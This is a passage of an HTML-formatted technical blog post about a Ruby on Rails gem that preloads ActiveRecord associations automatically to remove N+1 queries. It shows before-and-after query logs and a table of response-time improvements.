style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;17&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;39&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;34.803&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]   &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Task&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Load&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.6ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;17&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;39&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;34.805&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]   &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Task&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Load&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.4ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;17&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;39&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;34.808&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]   &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Task&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Load&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.5ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;17&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;39&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;34.810&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]   &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Task&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Load&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.3ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;17&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;39&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;34.813&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]   &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Task&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Load&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.1ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;17&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;39&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;34.815&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]   &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Task&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Load&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.3ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;17&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;39&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;34.817&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]   &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Task&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Load&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.2ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;17&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;39&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;34.818&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]   &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Task&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Load&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.2ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;17&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;39&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;34.854&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]   &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Task&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Load&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.2ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;After:&lt;/h3&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;User&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.limit(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |user|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  user.tasks.each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |task|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;17&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;42&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;25.668&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]   &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;User&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Load&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.8ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  &quot;users&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; FROM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;users&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; LIMIT&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;LIMIT&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;17&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;42&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;25.734&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]   &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Task&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Load&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.7ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; FROM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; IN&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10)  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You no longer need to use &lt;code&gt;includes&lt;/code&gt; , &lt;code&gt;preload&lt;/code&gt; , or &lt;code&gt;eager_load&lt;/code&gt; . You will not need to audit the code to figure out what associations are being used or to find hidden N+1 queries. It is all handled automatically and it will only preload the association if you use it. You will always be preloading the exact right amount of data.
We added these lines and immediately saw noticeable performance improvements:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Average PX Response Time&lt;/th&gt;
&lt;th&gt;Improvement %&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;P75&lt;/td&gt;
&lt;td&gt;8%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;P90&lt;/td&gt;
&lt;td&gt;22%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;P95&lt;/td&gt;
&lt;td&gt;31%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;P99&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;38%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;This is a huge benefit for the amount of work required.&lt;/p&gt;
&lt;h2&gt;How does it work?&lt;/h2&gt;
&lt;p&gt;The gem takes advantage of a standard preloading mechanism that Rails uses but that is not widely known. You typically have to deal with an N+1 query by locating where is generated and adding on &lt;code&gt;includes&lt;/code&gt;, &lt;code&gt;preload&lt;/code&gt; , or &lt;code&gt;eager_load&lt;/code&gt; . E.g.:&lt;/p&gt;
